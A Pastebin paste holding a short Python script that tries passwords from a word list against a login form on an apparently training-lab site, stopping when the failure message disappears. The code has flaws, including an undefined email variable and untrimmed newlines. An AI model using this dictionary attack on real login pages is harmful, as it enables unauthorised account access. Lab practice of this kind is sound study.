Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import re
- import urllib.request
- url = "http://pentesteracademylab.appspot.com/lab/webapp/1?email=%s&password=%s"
- correct_pass = ''
- with open('pass.txt') as fin:
- for line in fin:
- password = line
- print("Trying with :" + password + "\n\n")
- query = url%(email,password)
- data = urllib.request.urlopen(query).read()
- data = data.decode("utf-8")
- search_result = re.search('<div align="center"> <p><b>Failed! Please try again!<b/></p></div><br/>',data)
- if search_result == None:
- correct_pass = password
- break
- print("passphrase = " + password)
Add Comment
Please, Sign In to add comment